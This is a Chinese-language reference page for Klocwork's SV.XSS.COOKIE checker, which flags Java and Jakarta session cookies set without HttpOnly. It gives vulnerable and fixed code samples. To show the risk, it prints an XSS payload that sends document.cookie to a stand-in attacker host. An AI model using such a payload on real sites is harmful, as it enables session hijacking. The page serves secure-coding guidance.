SV.XSS.COOKIE
无 setHttpOnly 标记的敏感 Cookie
在未设置 setHttpOnly 标记的情况下,将用于存储客户端与网站之间交互会话 ID 的 Cookie(以便验证客户端发出的请求)添加到 HttpServletResponse 对象时,Klocwork 会报告 SV.XSS.COOKIE 缺陷。
从 2023.2 版本开始,此检查器将支持 Jakarta EE。
漏洞与风险
能够执行跨站脚本 (XSS) 的攻击者可插入恶意脚本,例如:
复制
客户端加载和执行此脚本时,便会对攻击者控制的网站发出请求。然后,攻击者可记录该请求并窃取 Cookie。
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
缓解与预防
HttpOnly 标记会指示兼容的浏览器阻止客户端脚本访问 Cookie。在 Set-Cookie HTTP 响应头中包括 HttpOnly 标记有助于缓解与 XSS 相关的风险,因为攻击者的脚本代码可尝试通过 XSS 读取和外泄 Cookie 的内容。设置后,支持该标记的浏览器不会将 Cookie 的内容泄露给使用 XSS 执行的第三方客户端脚本。
漏洞代码示例 1
复制
import javax.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
Klocwork 在第 5 行报告 SV.XSS.COOKIE 缺陷,指出“可能会攻击无 setHttpOnly 标记的 Cookie”,因为在添加到响应之前未在 Cookie 上设置 setHttpOnly 标记。
修正代码示例 1
复制
import javax.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
Klockwork 在第 4 行不再报告 SV.XSS.COOKIE 缺陷,因为已在第 5 行为 Cookie 设置 setHttpOnly 标记。
漏洞代码示例 2
复制
import jakarta.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(false);
response.addCookie(c);
Klocwork 在第 6 行报告 SV.XSS.COOKIE 缺陷,指出“可能会攻击无 setHttpOnly 标记的 Cookie”。尽管已调用 setHttpOnly 方法,但此方法在第 5 行已设置为 false。
修正代码示例 2
复制
import jakarta.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
Klockwork 在第 6 行不再报告 SV.XSS.COOKIE 缺陷,因为已在第 5 行为 Cookie 设置 setHttpOnly 标记。